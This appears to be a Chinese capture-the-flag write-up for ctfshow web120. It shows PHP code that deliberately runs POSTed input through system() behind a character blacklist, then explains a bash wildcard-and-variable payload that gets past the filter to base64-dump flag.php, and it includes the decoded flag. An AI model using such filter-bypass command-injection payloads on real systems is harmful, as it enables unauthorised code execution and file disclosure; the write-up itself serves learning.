web120笔记(白名单/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/ +strlen($code)<65)
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>
终于⽩名单了
这⾥就想办法⽤上⾯的payload来变形,⾸先就是能⽤?的就⽤?
设命令为/bin/base64 flag.php
这里主要是把4构造出来, 然后就需要构造 4 这个字符了,这里可以使用RANDOMRANDOM是一个变量值,随机出现整数,范围为:0~32767,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样
如果需要每次产生的随机数顺序不一样的话,可以在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子 回到构造 4 这个字符上,再Linux中,${#xxx}显示的是这个数值的位数,而如果不加 # 的话就是显示这个数原本的值,比如12345再加上#后就是5 在RANDOM中产生的随机数可以是1、2、3、4、5这个5个数,但1,2,3这三个出现的概率很低,所以基本上是4或5,因此如果要使用RANDOM的话其实也有碰运气的成分在里面,没准就撞到了正确的数。最终得
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
PD9waHAKJGZsYWc9ImN0ZnNob3d7ZDNjZDAzMWEtYWI4OC00ZmI0LThiZWQtYTViY2Y3M2I1NGY1 fSI7Cj8+fSI7Cj8+
base64解码
<?php $flag="ctfshow{d3cd031a-ab88-4fb4-8bed-a5bcf73b54f5}"; ?>}"; ?>

浙公网安备 33010602011771号